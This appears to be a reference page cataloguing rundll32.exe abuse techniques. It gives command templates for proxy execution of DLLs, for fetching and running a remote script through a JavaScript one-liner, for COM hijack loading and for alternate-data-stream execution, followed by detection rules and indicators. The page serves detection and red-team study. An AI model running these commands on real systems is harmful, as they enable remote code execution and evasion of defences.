01 / TRADECRAFT
5 examplesCommand reference
Execute4
EXAMPLE 01T1218.011
First part should be a DLL file (any extension accepted), EntryPoint should be the name of the entry point in the DLL file to execute.
COMMAND
rundll32.exe {PATH},EntryPointEXAMPLE 02T1218.011
Execute a DLL from an SMB share. EntryPoint is the name of the entry point in the DLL file to execute.
COMMAND
rundll32.exe {PATH_SMB:.dll},EntryPointEXAMPLE 03T1218.011
Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.
COMMAND
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:{REMOTEURL}")EXAMPLE 04T1218.011
Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.
COMMAND
rundll32.exe -sta {CLSID}ADS1
EXAMPLE 01T1564.004
Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).
COMMAND
rundll32 "{PATH}:ADSDLL.dll",DllMain02 / ON DISK
Known paths
C:\Windows\System32\rundll32.exeC:\Windows\SysWOW64\rundll32.exe03 / DEFENSIVE INTELLIGENCE
3 resourcesDetection & indicators
- Sigmanet_connection_win_rundll32_net_connections.ymlgithub.com
- Sigmaproc_creation_win_rundll32_susp_activity.ymlgithub.com
- Elasticdefense_evasion_unusual_network_connection_via_rundll32.tomlgithub.com
Indicators & detection notes
- IOC
Outbount Internet/network connections made from rundll32
- IOC
Suspicious use of cmdline flags such as -sta
FURTHER READING
Research & resources
- READapplocker bypass rundll32pentestlab.blog
- READAppLocker_Bypass_Techniquesevi1cg.me
- READapplocker case study how insecure is it really part 1oddvar.moe
- READputting data in alternate data streams and how to execute itoddvar.moe
- READabusing com registry structure clsid localserver32 inprocserver32bohops.com
- READobfus.mdgithub.com
- READrundll32.mdgithub.com
- READa deep dive into rundll32 exe 642344b41e90nasbench.medium.com
- READrundll32 the infamous proxy for executing malicious codewww.cybereason.com
COMMUNITY RESEARCH
Acknowledgements
Casey Smith@subtee
Oddvar Moe@oddvarmoe
Jimmy@bohops
Sailay@404death
Martin Ingesen@Mrtn9